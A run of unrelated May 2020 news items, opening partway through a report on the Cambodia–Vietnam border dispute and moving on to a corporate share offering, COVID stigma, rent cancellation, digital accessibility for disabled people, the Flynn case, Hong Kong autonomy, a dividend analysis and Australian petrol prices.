When they built [shelters] in non-demarcated areas we had to protest.

Vietnam has yet to issue an official response to the claims of border encroachment.

Cambodian border activist Mean Prum Moni confirmed that Vietnamese soldiers had not pulled out of the disputed border yet, adding that Vietnams government is using the coronavirus as a pretext to intrude on Cambodian territory.

He welcomed the governments move to diplomatically protest the encroachment, but said that if the issue isnt resolved soon, it should file complaints with international courts and signatories to the 1991 Paris Peace Accord that ended a war between Cambodia and then-occupier Vietnam.

We want the government to file complaints to Paris Peace Accord signatories if Vietnam continues to violate Cambodias territorial sovereignty, he said.

Long-running border issues

Last month, former opposition party lawmaker Um Sam An, who once served a prison term for his Facebook postings criticizing government handling of the border issue, said Cambodia should clearly define its border using a map prepared by former colonial power France.

We want the Vietnamese to remove their tents, and we need to demarcate the border using the French map, he said. France was the colonial ruler of both countries from the mid-19th to the mid-20th centuries.

Unresolved border issues between Cambodia and Vietnam have sparked incidents in the past, with the construction by Vietnam of military posts in contested areas quickly challenged by Cambodian authorities in Phnom Penh.

In June 2015, activists from Cambodias now-banned Cambodia National Rescue Party (CNRP) were attacked by Vietnamese villagers when they went to inspect an area in Svay Rieng province where they said a road built by authorities in Vietnams Long An province had encroached into Cambodian territory.

A joint communique signed by Cambodia and Vietnam in 1995 stipulates that neither side can make any changes to border markers or allow cross-border cultivation or settlement pending the resolution of outstanding border issues.

Reported by RFAs Khmer Service. Translated by Samean Yun. Written in English by Joshua Lipes.
BURLINGTON, Mass. and PLANO, Texas, May 22, 2020 /PRNewswire/ -- Keurig Dr Pepper (NYSE: KDP) (the "Company" or "KDP") announced today the completion of its previously-announced registered public secondary offering of 40.0 million shares, or approximately 2.8%, of the Company's outstanding common stock, for gross proceeds of approximately $1.08 billion. All of the shares were sold by Maple Holdings B.V. ("Maple").

Maple is a holding company majority-owned by JAB Holdings B.V. ("JAB"). JAB directly purchased approximately 7.4 million shares of the Company's common stock in the offering at a price equal to the price paid for the common stock by the underwriter for approximately $200 million. The net impact of the offering increased KDP's float by approximately 2.3%.

Following the completion of the offering, Maple and JAB collectively own approximately 62.8% of the Company's outstanding common stock.

Goldman Sachs & Co. LLC acted as underwriter for the offering.

The offering was made only by means of an effective registration statement and a prospectus. Copies of the prospectus supplement and the accompanying prospectus relating to the offering may be obtained from: Goldman Sachs & Co. LLC, Prospectus Department, 200 West Street, New York, New York 10282, telephone: 1-866-471-2526, facsimile: 212-902-9316 or by emailing [email protected]. Copies of the prospectus supplement and the related prospectus may also be obtained free of charge from the website of the U.S. Securities and Exchange Commission (the "SEC") at http://www.sec.gov.

The Company has previously filed with the SEC a registration statement (including a prospectus) on Form S-3 (File No. 333-233477) as well as a prospectus supplement, each dated August 27, 2019, for the offering to which this communication relates. Before you invest, you should read the prospectus in that registration statement and other documents the issuer has filed with the SEC for more complete information about the issuer and this offering. Copies of the registration statement can be accessed through the SEC's website at www.sec.gov. This press release shall not constitute an offer to sell or the solicitation of an offer to buy, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction.

About Keurig Dr Pepper

Keurig Dr Pepper (KDP) is a leading beverage company in North America, with annual revenue in excess of $11 billion and nearly 26,000 employees. KDP holds leadership positions in soft drinks, specialty coffee and tea, water, juice and juice drinks and mixers, and markets the #1 single serve coffee brewing system in the U.S. and Canada. The Company's portfolio of more than 125 owned, licensed and partner brands is designed to satisfy virtually any consumer need, any time, and includes Keurig, Dr Pepper, Green Mountain Coffee Roasters, Canada Dry, Snapple, Bai, Mott's, CORE and The Original Donut Shop. Through its powerful sales and distribution network, KDP can deliver its portfolio of hot and cold beverages to nearly every point of purchase for consumers. The Company is committed to sourcing, producing and distributing its beverages responsibly through its Drink Well. Do Good. corporate responsibility platform, including efforts around circular packaging, efficient natural resource use and supply chain sustainability.

Forward-Looking Statements

Certain statements contained herein are "forward-looking statements" within the meaning of applicable securities laws and regulations. These statements are often, but not always, made through the use of words or phrases such as "may," "might," "should," "could," "predict," "potential," "believe," "expect," "continue," "will," "anticipate," "seek," "estimate," "intend," "plan," and "would," or the negative version of those words or other comparable words or phrases of a future or forward-looking nature. These forward-looking statements have been based on the Company's current views with respect to future events and the timing of this secondary offering. These forward-looking statements are subject to a number of risks and uncertainties including prevailing market conditions, as well as other factors. All of the forward-looking statements are qualified in their entirety by reference to the factors discussed under "Risk Factors" in Part I, Item 1A of the Company's Annual Report on Form 10-K for the year ended December 31, 2019 and the Company's other filings with the SEC. Forward-looking statements represent the Company's estimates and assumptions only as of the date that they were made. The Company does not undertake any duty to update the forward-looking statements, and the estimates and assumptions associated with them, after the date of this release, except to the extent required by applicable law.

Investors

Tyson Seely

T: 781-418-3352/ [email protected]

Steve Alexander

T: 972-673-6769/ [email protected]

Media

Katie Gilroy

T: 781-418-3345/ [email protected]

SOURCE Keurig Dr Pepper

Related Links

http://www.keurigdrpepper.com


Winning the battle against coronavirus was tough, but the road to recovery has been tougher for Himachal Pradeshs Patient Zero.

A native of Shahpur in Kangra district, the 32-year-old chef who worked at a Singapore hotel is not comfortable with even sharing his name. I was not afraid of the infection. Its the scars that society has given to my family and me that will take a lifetime to heal, he says.

He was among the first two Covid-19 cases reported in the state on March 20.

He returned home on March 18 and voluntarily went for a checkup the next day. His test report confirmed he was positive on March 20.

I knew coronavirus can infect anyone irrespective of age or health. Soon after arrival, I volunteered to go for a check-up. I did not want to expose others to the risk, he says.

DETERMINED TO DEFEAT VIRUS

He admits he was shaken initially. I could not have let this invisible enemy overpower me. I was determined to defeat it, he says.

He strictly followed the doctors advice and was discharged from hospital on March 29, after he tested negative twice.

A bigger battle awaited him.

On his return home, his family faced a social boycott by villagers. Shopkeepers would not sell us anything. It hurts when your own people do this to you. I couldnt bear the stress, he says.

The situation came to such a pass that he had to seek help from the district authorities. It was after Kangra sub-divisional magistrate (SDM) Jatin Lal visited and honoured him for fighting Covid-19 that public perception started changing.

Things have improved but I still find people staring at me or exchanging shifty glances when I go to the market. These are people who were once close, he says.

HOME-BOUND AFTER BITTER EXPERIENCE

Dont fear the virus. It can be defeated with willpower. Those infected are not criminals. All they need is empathy, he says.

He spends most of his time at home, looking after his pregnant wife and elderly parents. He is uncertain about returning to his job in Singapore but looks forward to better days.
By Ayya Lmahamad

The presidents of Cuba and Montenegro have congratulated President Ilham Aliyev on Azerbaijans Republic Day, celebrated on May 28, the presidents press service reported on May 21.

In a letter sent to Aliyev, Cubas president also expressed his countrys interest to further develop and strengthen cooperation between the two countries.

The president of Montenegro noted the close and respectful relations between the two countries and expressed his gratitude to Azerbaijan for the assistance provided during the COVID-19 pandemic.

In difficult times caused by COVID-19 pandemic, respectful relations of Montenegro and Azerbaijan and very close and meaningful relations confirmed our friendship and solidarity. Taking this opportunity, we express our gratitude to you for providing Montenegro with important donations and protective medical supplies.

At the hardest time of our struggle, this assistance was especially important for protection of health and life of our citizens. It was another confirmation of the strong friendship between our countries. Montenegro appreciates this friendship and will always remember it. At the same time, your country's determined efforts and effective measures to prevent the spread of the coronavirus COVID-19 pandemic are highly commendable, the Montenegran leader stated.

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Follow us on Twitter @AzerNewsAz
On May 6, Lorenzo Perez got a notice on the door of the Walnut Creek apartment he shares with his wife, Lesly Ordonez, and their two children. It said they had three days to pay rent or quit.

In other words, the landlord was threatening to evict the family.

I havent worked since March 15, so of course Im very worried, Perez, a grill cook, told me. The most stressful thing is that we dont know when things go back to normal.

Getting back to normal could take months, most likely years.

Perezs rent is $1,950 per month, and when we talked last week he said they owed $2,500. Perez and Ordonez, who remain in the apartment, havent paid May rent, and they still owe money for April.

Perez shouldnt worry about eviction because last month the Contra Costa County Board of Supervisors passed an eviction protection and rent freeze ordinance. But rent moratoriums during the coronavirus are a temporary salve. What happens when the moratoriums expire? There are more than 33 million people in this country whove filed for unemployment since mid-March.

How in the world are jobless renters and homeowners going to catch up?

The coronavirus is an unprecedented scourge that requires radical action. Theres much yet to be learned about the virus, but heres one thing we know for sure: stable housing is necessary to protect public health.

State officials estimate between 1.2 million to 2.3 million households are struggling to pay rent, and while theres a wealth of proposals to help cash-strapped households, like the one by state Senate democrats that would give renters 10 years to pay back rent, only one goes far enough.

Rents and mortgages should be canceled during the pandemic.

Before I continue, let me be clear: Im not suggesting that landlords and lenders should eat the cost of delinquent payments. The stock market, while volatile, retains vitality because the Federal Reserve injected trillions  trillions  of dollars into financial markets. Theres money available for anguished workers.

In Stabilizing Shelter: Rent and Mortgage Cancellation at State and Federal Levels, a brief released earlier this month, researchers at UC Berkeleys Othering & Belonging Institute referred to the Rent and Mortgage Cancellation Act of 2020, a bill proposed by Rep. Ilhan Omar, D-Minn. Among other things, the act establishes relief funds for landlords and lenders, and it would be retroactive to April 1.

If immediate action is not taken, families will be forced from their homes and cause the housing market to suffer irreparable damage, Omar told me. Congress has a responsibility to prioritize the needs of the American people over profit driven corporations.

Liz Hafalia / The Chronicle

Terra Thomas, a 35-year-old freelance florist, hasnt paid rent on her apartment near Lake Merritt since April. Shes participating in a statewide rent strike organized by the Alliance of Californians for Community Empowerment.

People cant work, Thomas said. For a while, it was literally illegal for people to do the jobs that they have.

Sally Richardson, a professor at Tulane Law School, said balloon payments could devastate households nationwide.

People who have not been able to earn an income for the past two months  and potentially for the next few months, depending on how the pandemic continues  will simply not have sufficient financial resources to make up two, three, four months of lost rent or mortgage payments, she said.

Richardson said canceling rents and mortgages would face legal challenges, but something has to be done.

If the housing system collapses, that will have long-term effects that will last much longer than COVID-19, she said. The worst thing would be to turn what has been a major public health crisis into a major housing crisis.

The subprime mortgage crisis that fueled the Great Recession in 2009 left its mark on Oakland. The majority of foreclosed properties in the city were in East Oakland and West Oakland, two areas hampered by racial and economic segregation. After decades of redlining, the systemic and discriminatory practice of refusing to issue loans or insurance to neighborhoods inhabited by black and brown people, these communities were targeted with predatory loans.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

The federal government saved the banking and automotive industry while the public was left to sink.

We worry about repeating what happened after the Great Recession where communities of color were really devastated, but some corporations were able to take advantage and really profited, Nicole Montojo of the Othering & Belonging Institute said.

On Tuesday, Oakland City Council extended eviction protection for tenants until Aug. 31 or until the local emergency is declared over.

Its not as if were just trying to solve an economic problem, said Councilwoman Nikki Fortunato Bas, who authored the legislation. Were actually trying to protect the health of everyone in our communities and that means making sure people have a safe home to shelter in place.

Bas told me she supports canceling rents and mortgages. Daniel Bornstein, of Bornstein Law firm, which specializes in real estate litigation, is against it. But he had a counter solution: get local and state officials to create a pool of wealth that tenants can tap for no interest loans. The money for the program could come from local billionaires, and cities would then use the interest from the money to administer the program.

It doesnt sound so unconventional when considering that Twitter and Square CEO Jack Dorsey donated $1 billion of his Square equity to coronavirus relief. Just last week, Dorsey donated $10 million to close the digital divide for Oakland students.

Someone needs to tap (the billionaires) on the shoulder, and say, Now is the time to be there for us. What are you waiting for? This is the crisis, Bornstein said.

Perez, 32, and his family have lived in the Walnut Creek apartment complex for 10 months, and he said theyve never been late with rent before the coronavirus. When I reached the property managers office, I was told they couldnt comment. Attempts to reach the property owner were unsuccessful.

Were not the only ones that this is happening to, Perez said. Theres a lot of people suffering, and people should try to remember that and help in any way if they can.

San Francisco Chronicle columnist Otis R. Taylor Jr. appears Mondays and Thursdays. Email: otaylor@sfchronicle.com Twitter: @otisrtaylorjr
UPDATE: Around 6:30 p.m., Gresham police said the bear was still on the loose, but sightings had decreased. They said they planned to respond and help contain the bear if it reappeared in a high-population area.

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Law enforcement officers are trying to catch a wild black bear that is running loose in a Gresham neighborhood, police said Thursday afternoon.

Officers began responding to the 700 block of NE 16th Court in Gresham around 2:20 p.m. Thursday, and an hour later, there were 24 officers at the scene. Gresham Police Detective Kevin Carlson told The Oregonian/OregonLive that Oregon State Police Fish and Game staff were helping and trying to trap the bear, but as of 3:20 p.m. it was still on the loose.

This story will be updated.

Jayati Ramakrishnan; 503-221-4320; jramakrishnan@oregonian.com; @JRamakrishnanOR

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
Israeli medics have been on the front lines of the corona crisis playing an integral part of the national strategy to effectively fight the spread of infection. But the coordinated effort came from a number of places. Below, we've listed 10 of the top ways Israel managed in just six weeks to "flatten the curve" and get us on our way back to normal:

Quarantine requirements were taken seriously

As early as February people coming from Italy were directed into 14-day isolation. Soon afterwards, all incoming flights had the same directive, and people adhered to these rules.

Government t...
When virtual events began proliferating due to calls for social distancing, Camisha Jones saw a silver lining. For years, she has had limited access to in-person events due to undifferentiated connective tissue disease, which causes, among other symptoms, joint pain and fatigue. But now that many events would be taking place online, she realized she could attend more poetry readings than usual.

Her enthusiasm was short-lived. I find myself opting out of events because very little effort is being made to provide accessibility services for them, said Jones, who works as the managing director of a poetry organization and lives in Herndon, Virginia, in an email interview.

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In addition to chronic pain, Jones also has Menieres disease, a disorder of the inner ear that causes fluctuating hearing levels as well as other symptoms. In order to enjoy online events, she needs to be able to read what speakers are saying through captioning or a transcript.

However, few organizations are using real-time automatic captioning for their livestreamed events, though the feature is available for free on platforms like Facebook and YouTube. While autocaptions are less accurate than human transcribers, the technology has improved over the years. In choosing not to use it, event organizers are shutting out more than 48 million deaf and hard-of-hearing Americans.

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One in four American adults is disabled. Its been 30 years since lawmakers passed the Americans With Disabilities Act to make the countryand later, some argue, the internetmore accessible. But now, as we shift to working, schooling, shopping, and communicating virtually, the pandemic is showing how many holes remain in digital accessibility. From the absence of captioning to technical obstacles to blatant disregard for who even has access to the internet, these holes are everywhere: in health care, the workplace, education, and even state government websites, where more than 30 million Americans have filed for unemployment. According to research by the Information Technology and Innovation Foundation in April, 86 percent of state government unemployment websites fail at least one basic test for mobile page load speed, mobile friendliness, or accessibility. The researchers noted in their report, These results closely mirror the performance of 400 state government websites ITIF tested in 2018, showing a consistent disregard for the needs of disabled people even before the pandemic.

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Jones, who has met with multiple doctors for virtual appointments over various telehealth videoconferencing platforms since March, said she had trouble understanding them due to the lack of accommodations, which has led to infuriating delays and technical obstacles. None of the platforms for these appointments have included captions, she wrote. Some non-telehealth-specific videoconferencing platforms do offer autocaptions, including Skype, Google Meet, and Microsoft Teams; Zoom, however, does not.* (All of these platforms have HIPAA-compliant options, provided that the platforms are used correctly.)

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In the pandemic, deaf and hard-of-hearing people also face technical issues even when getting care in person. Many hospitals are limiting in-person interpreters to prevent the spread of the virus and offering video remote interpreting in their stead. But remote sign language interpreting can be plagued by poor Wi-Fi connectivity or a lack of training on the part of medical professionals. The Los Angeles Times reported that in March in Ocoee, Florida, Jennylee Bruno, a deaf author who was diagnosed with COVID-19, initially received information about her condition through a video feed that kept freezing.* Staff eventually stopped using the interpreter altogether because of the frequent technical issues and instead used a whiteboard to communicate. Theres a lot of people there and they have no time to wait for an interpreter, she told the newspaper.

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Employees now working from home are also facing videoconferencing challenges. Alaina Lavoie, a writer, editor, and social media manager in Boston, finds these calls overstimulating for her as an autistic person. I have to focus and spend a lot more energy on video calls than I would on meeting in person or an audio call with no video component, she said over email. She finds herself needing to take multiple breaks during calls because the pressure of deciding whom to look at or when its appropriate to speak exhausts her energy. I think it increases accessibility if events are available to watch later, especially since with a virtual event its so easy to record it and upload it.

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Students are also saying that their access needs arent being addressed in the virtual space. Despite the Individuals With Disabilities Education Act, which ensures equal access to education to eligible students with disabilities, many students have been overlooked during the rush to move courses online. (It didnt help that Education Secretary Betsy DeVos was, until recently, debating whether to grant waivers to schools exempting them from special education requirements.) Mitchell Smedley, a blind high school student in Ivyland, Pennsylvania, is one of four students who filed a civil rights complaint with the National Federation of the Blind on May 11 against the College Board for not making its AP tests, which are now being administered digitally because of the coronavirus pandemic, accessible by hard copy to students who use Braille. College Board needs to give the option for Braille and tactile diagrams, like we would have had before the pandemic, Smedley said over email. Without them, its like asking the sighted students to turn off their screens.

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Online offerings also make the assumption that people can even access them. But many disabled people lack basic internet access. According to a 2016 Pew Research Center survey, disabled adults are roughly 20 percent less likely than nondisabled people to say they subscribe to home broadband and own a computer, smartphone, or tablet. Twenty-three percent of disabled respondents say they never go online, compared with 8 percent of nondisabled respondents. Its likely that fewer disabled people have internet access than nondisabled people because they are more than twice as likely to live in poverty. Only 32 percent of working-age people with disabilities are employed, compared with 73 percent of nondisabled people.

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All of these roadblockswhether to academic resources, medical care, or just participation in a virtually staged communitycost disabled people more than just the access theyre denied in that moment. Elizabeth Ellcessor, an assistant professor of media studies at the University of Virginia who studies the accessibility of technology, said that technology that restricts access to those who fit bodily norms is itself disabling. Referring to the rise of video meetings through platforms like Zoom, she said over email, While these technologies extend access in some ways, they also introduce new problems tied to various disabilities or bodily needs.

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With public health experts saying that social distancing may need to continue on and off through 2022, businesses, schools, and organizations need to make their online services accessible. If they dont, already underemployed disabled people risk losing their jobs, experiencing difficulty acquiring goods and services like health care, and not having the information they need to stay safe.

We [disabled people] stand to benefit greatly, alongside everyone else in this economy, if we make digital accessibility a priority, said former Rep. Tony Coelho, who has epilepsy and was the ADAs primary sponsor, in an email interview. My recommendation for leaders who are trying to figure out what to do and how to do it is to build relationships with disability leaders in their communities. They are your best assets. He added that its also important to address how race, class, national origin, gender identity, sexual orientation, and religion impact digital access.

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AudioEye, an artificial intelligencepowered technology company where Coelho is on the board, is one of several companies working to ensure that websites are ADA-compliant and abide by the Web Content Accessibility Guidelines. Unlike other technology companies that put the onus on the content developer to correct accessibility issues found by the company, AudioEye says they insert a snippet of JavaScript code into a websiteto identify and remediate accessibility issues including missing image descriptions and inaccessible forms, buttons, heading structure, and links.

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Lawsuits over web accessibility are filed at the rate of once every working hour, according to a 2019 report by 3Play Media, a company that provides captioning, transcription, and audio description services. In a landmark decision in October, the Supreme Court declined to hear Dominos Pizzas petition to review its case, in which the 9th U.S. Circuit Court of Appeals ruled that it violated the ADA because its website didnt work with a blind mans screen reader software.

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Right now, the world has just been scrambling to survive COVID-19, said Heath Thompson, who uses a wheelchair and is the chief executive officer of AudioEye, in an email interview. I believe the pandemic has also created an opportunity for worldwide empathy towards the need for digital access, as weve all now been able to experience what its like not to be able to do basic things every day that we all took for granted just a few short months ago.

Correction, May 22, 2020: This piece originally misidentified Google Meet as Google Meets and misspelled Ocoee.

Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society.
FBI Director Wray Orders Internal Review of Bureau Handling of Flynn Investigation

FBI Director Christopher Wray has ordered an internal review of the bureaus handling of Lt. Gen. Michael Flynns investigation, the bureau announced on Friday.

The review will be handled by the bureaus inspection division and examine the FBIs role in the Flynn probe and determine whether any current employees have engaged in misconduct. It will also evaluate the bureaus policies and procedures to identify areas of improvement.

Although the FBI does not have the prosecutorial authority to bring a criminal case, the Inspection Division can and will evaluate whether any current onboard employees engaged in actions that might warrant disciplinary measures, the FBI said in a statement.

The bureaus announcement comes weeks after the Justice Department (DOJ) filed a motion to drop a criminal case against Flynn after internal documents were released that revealed ulterior motives behind the questioning of the former national security adviser in the White House in January 2017. Flynn pleaded guilty on Dec. 1, 2017, to one count of lying to FBI agents during the early 2017 interview.

The documents included handwritten notes that revealed top FBI officials had questioned whether the goal of questioning Flynn was to get him to lie, so we can prosecute him or get him fired?

They also revealed that Peter Strzok, the FBIs then-deputy assistant director for counterintelligence operations, urgently reached out to agents handling the Flynn case to advise them not to close the case after the agents determined there were no more leads to follow in the Flynn probe.

These documents have raised questions about the nature of the FBIs probe into Flynn and whether it was justifiably predicated. The DOJ argued in its motion to dismiss the case that there was no legitimate purpose for the FBI to have interviewed Flynn.

[T]he interview of Mr. Flynn was untethered to, and unjustified by, the FBIs counterintelligence investigation into Mr. Flynna no longer justifiably predicated investigation that the FBI had, in the Bureaus own words, prepared to close because it had yielded an absence of any derogatory information, the department wrote in its filing.

The bureau noted that while it can evaluate whether any current employees conduct in the Flynn case may warrant disciplinary actions, it added that it does not have the ability to order disciplinary actions for former employees.

It also noted that it was cooperating with another review by the DOJ and that the FBIs review would complement the departments work. Attorney General William Barr assigned U.S. Attorney Jeff Jensen to scrutinize the Flynn case earlier this year.

Under Director Wrays leadership, the FBI has been fully transparent and cooperative with Mr. Jensen, and the FBIs help has included providing special agents to assist Mr. Jensen in the fact-finding process, the statement said.

DOJs request to drop Flynns case is now pending before a district court judge who has not indicated that he would grant the departments motion to dismiss. Instead, Judge Emmet Sullivan appointed former federal Judge John Gleeson as an amicus curiae (Friend of Court) in the case as well as opened up the case to allow outside parties to weigh in on the case with friend-of-the-court briefs.

Flynns lawyers requested a superior court, District of Columbia appeals court, to intervene, alleging that Sullivan is breaking rules and precedent in Flynns case. That court has ordered Sullivan to respond to Flynns request to the circuit court to intervene in the case within 10 days.
Expected withdrawal will be latest move by Trump administration to remove US from major global treaty.

The United States has announced that it would pull out of the Open Skies treaty which allows member countries to conduct unarmed surveillance flights over 35 participating states.

President Donald Trump said he was withdrawing the US from the treaty as Russia had repeatedly violated its terms.

He said he intended to renegotiate  or get a new deal with Russia  and was interested in getting China on board.

Al Jazeeras Rob Reynolds reports.
RTHK: UK, Australia and Canada concerned over HK autonomy

The foreign ministers of the UK, Australia and Canada on Friday issued a joint statement, expressing concern over plans by Beijing to introduce a national security law into Hong Kong via the National People's Congress in Beijing.

"The legally binding Joint Declaration, signed by China and the UK, sets out that Hong Kong will have a high degree of autonomy," the statement said.

"It also provides that rights and freedoms, including those of the person, of the press, of assembly, of association and others, will be ensured by law in Hong Kong, and that the provisions of the two UN covenants on human rights (the International Covenant on Civil and Political Rights and International Covenant on Economic, Social and Cultural Rights) shall remain in force,"

Dominic Raab of the UK, Marise Payne of Australia and Francois-Philippe Champagne of Canada also said "making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of One Country, Two Systems, under which Hong Kong is guaranteed a high degree of autonomy."

Beijing is expected to pass a wide-ranging national security law, which will then be introduced into an annex of Hong Kong's Basic Law under Article 18.

The Basic Law states that Hong Kong shall introduce national security legislation on its own through Article 23. However, the Hong Kong government's first attempt to do so in 2003 was shelved following a mass demonstration.

Beijing, though, has become increasing unnerved by huge - and often violent - street demonstrations, that began last year following an attempt by the SAR government to bring in a law that would have allowed extradition to mainland China.

These subsequently morphed into anti-government, pro-democratic protests, that Beijing says have been supported by "foreign forces".

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
China National Building Material Company Limited (HKG:3323) stock is about to trade ex-dividend in 4 days time. Ex-dividend means that investors that purchase the stock on or after the 26th of May will not receive this dividend, which will be paid on the 26th of June.

China National Building Material's upcoming dividend is HK$0.35 a share, following on from the last 12 months, when the company distributed a total of HK$0.35 per share to shareholders. Based on the last year's worth of payments, China National Building Material stock has a trailing yield of around 4.0% on the current share price of HK$9.54. We love seeing companies pay a dividend, but it's also important to be sure that laying the golden eggs isn't going to kill our golden goose! As a result, readers should always check whether China National Building Material has been able to grow its dividends, or if the dividend might be cut.

See our latest analysis for China National Building Material

Dividends are typically paid out of company income, so if a company pays out more than it earned, its dividend is usually at a higher risk of being cut. That's why it's good to see China National Building Material paying out a modest 33% of its earnings. Yet cash flows are even more important than profits for assessing a dividend, so we need to see if the company generated enough cash to pay its distribution. The good news is it paid out just 7.2% of its free cash flow in the last year.

It's positive to see that China National Building Material's dividend is covered by both profits and cash flow, since this is generally a sign that the dividend is sustainable, and a lower payout ratio usually suggests a greater margin of safety before the dividend gets cut.

Click here to see the company's payout ratio, plus analyst estimates of its future dividends.

SEHK:3323 Historical Dividend Yield May 21st 2020

Have Earnings And Dividends Been Growing?

Stocks with flat earnings can still be attractive dividend payers, but it is important to be more conservative with your approach and demand a greater margin for safety when it comes to dividend sustainability. If earnings decline and the company is forced to cut its dividend, investors could watch the value of their investment go up in smoke. With that in mind, we're not enthused to see that China National Building Material's earnings per share have remained effectively flat over the past five years. We'd take that over an earnings decline any day, but in the long run, the best dividend stocks all grow their earnings per share.

Story continues

Many investors will assess a company's dividend performance by evaluating how much the dividend payments have changed over time. China National Building Material has delivered an average of 26% per year annual increase in its dividend, based on the past ten years of dividend payments.

To Sum It Up

Is China National Building Material worth buying for its dividend? Earnings per share have been flat, although at least the company is paying out a low and conservative percentage of both its earnings and cash flow. It's definitely not great to see earnings falling, but at least there may be some buffer before the dividend gets cut. Overall we're not hugely bearish on the stock, but there are likely better dividend investments out there.

So while China National Building Material looks good from a dividend perspective, it's always worthwhile being up to date with the risks involved in this stock. Our analysis shows 3 warning signs for China National Building Material and you should be aware of these before buying any shares.

If you're in the market for dividend stocks, we recommend checking our list of top dividend stocks with a greater than 2% yield and an upcoming dividend.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Petrol prices have fallen as low as 63 cents a litre in one Australian state, sparking hopes it could encourage a boom to regional tourism for the long weekend.

The cost of filling up was at its lowest since 2003 in South Australia on Friday morning, with dozens of outlets offering fuel for less than 70 cents a litre.

But the nation's peak motoring group has warned other states shouldn't hold out hope prices will drop that low any time soon.

The average fuel price across Adelaide on Friday morning was around 84.4 cents a litre, coming in cheaper than a bottle of Mount Franklin water at $1.35.

Petrol prices have fallen as low as 63 cents a litre in one Australian state, sparking hopes it could encourage a boom to regional tourism for the long weekend

Some outlets in the north-east even dipped below 70 cents, with one outlet 'OTR' at Greenacres recording prices of 63 cents a litre on the MotorMouth fuel app.

The price drop represents savings of between $18 to fill up the tank of a city runabout or $37 for a large four-wheel drive compared to the same time last year.

The National Roads and Motorists' Association's Peter Khoury told Daily Mail Australia drivers elsewhere across the country probably won't be rushing to the bowsers.

'Adelaide is a remarkable place to be filling up for petrol right now, not so much anywhere else across the country,' he said.

The National Roads and Motorists' Association's Peter Khoury told Daily Mail Australia drivers elsewhere across the country probably won't be rushing to the bowsers (pictured: traffic builds in the Sydney CBD after lockdown restrictions were eased in early May)

'If you look at the major capitals they're all falling slowly and they should continue to fall but we're a long way off where Adelaide is at.'

The cost of fuel in Brisbane is at a $1.08 and falling, Melbourne at $1.12 falling, Sydney $1.09 falling and Perth $1.10 falling.

But Mr Khoury said, even when each city goes through its usual price change as a result of pricing cycles, drivers may not benefit from the savings.

'Adelaide is at the bottom of its price cycle, but Sydney, Melbourne, Perth and Brisbane at the top of the cycle this week,' he said.

Some outlets in the north-east even dipped below 70 cents, with one outlet 'OTR' at Greenacres in Adelaide recording prices of 63 cents a litre

'By next weekend we should be below $1 if the oil companies pass on the fall that they're meant to pass on, but they didn't last cycle,

'The last cycle it took two months to get to the bottom of the cycle and four days to go up, so they're very good at putting them up and terrible at putting them down,'

He said even though one retailer is selling fuel for one price, the cost can vary dramatically across a city.

'63 cents that's the absolute cheapest. You're always going to get an outlier that will charge that kind of price. The most expensive in Adelaide is 97.9. You're always going to have extremes on either ends,' he said.

The NRMA's Peter Khoury said: 'Adelaide is a remarkable place to be filling up for petrol right now, not so much anywhere else across the country' (pictured motorists travel through Melbourne's CBD in May 2020)

RAA fuel expert Mark Borlace told Adelaide Now the city is the most likely to suffer from this big differences in prices across retailers.

'RAA research shows Adelaide has the greatest variation in petrol prices of any state capital, and that's why RAA lobbied long and hard for real-time petrol pricing,' he said.

Economists predicted last month fuel prices in the nation's major cities would fall by 20 per cent to less than 75 cents a litre.

Fuel dropped it is lowest level in 15 years because of coronavirus, with prices of less than $1 a litre in Sydney, Melbourne, Brisbane and Perth on April 20.

Fuel prices are dropping to the lowest price in years, with the average price in Sydney on MAy 22 at 1.09/litre compared to October 2019 when prices were sitting at an 11 year high (pictured)

Petrol prices in Australia's big cities are expected to dive by 20 per cent to less than 75 cents a litre within the next two months. Fuel is already selling at the lowest level in 15 years because of coronavirus, with prices of less than $1 a litre in Sydney, Melbourne, Brisbane and Perth on Monday. Pictured is the Metro service station at Croydon in Sydney's inner west

Perth recorded Australia's cheapest fuel, with average unleaded prices of just 89.4 cents a litre, a CommSec analysis of MotorMouth figures showed.

While Brisbane prices fell just 93.5 cents a litre, the lowest since late 2004, as global crude oil prices plummeted to the lowest levels since 1999.

Sydney's average unleaded prices plunged to a four-year low of 97.2 cents a litre as Melbourne's equivalent price fell to 99.2 cents a litre.

Westpac senior economist Justin Smirk calculated petrol prices had dived by 7.3 per cent during the March quarter.

He expected capital city pump prices to slide by another 20 per cent by the end of June, which would see Brisbane petrol prices fall below 75 cents a litre.

Average petrol prices in Sydney and Melbourne haven't been at this level since 1999.

'Because of the coronavirus, petrol prices collapsed because crude oil prices fell - we're looking at a much bigger fall of probably closer towards 20 per cent in the June quarter,' Mr Smirk told Daily Mail Australia.

Westpac senior economist Justin Smirk predicted petrol prices would slide by another 20 per cent by the end of June, to levels below 75 cents a litre. Pictured is the Sydney Harbour Bridge with very little traffic

'The prices didn't fall until right at the end of the March quarter and they start the June quarter off much lower and then through April we saw below a $1 a litre.'

CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement

Crude oil prices have continued to dive with the benchmark American Nymex plunging overnight by 20.8 per cent to just $US14.47 a barrel - the lowest price since March 1999.

Nonetheless, Australian petrol prices are linked more to the Singapore Tapis index, which rose from a 21-year low of $US18.45 a barrel on April 13 to $US21.70 a barrel.

In Australian dollar terms, that translated into an increase of $4.41 or 14.9 per cent to $34.12 a barrel or 21.46 cents a litre, a CommSec calculation showed.

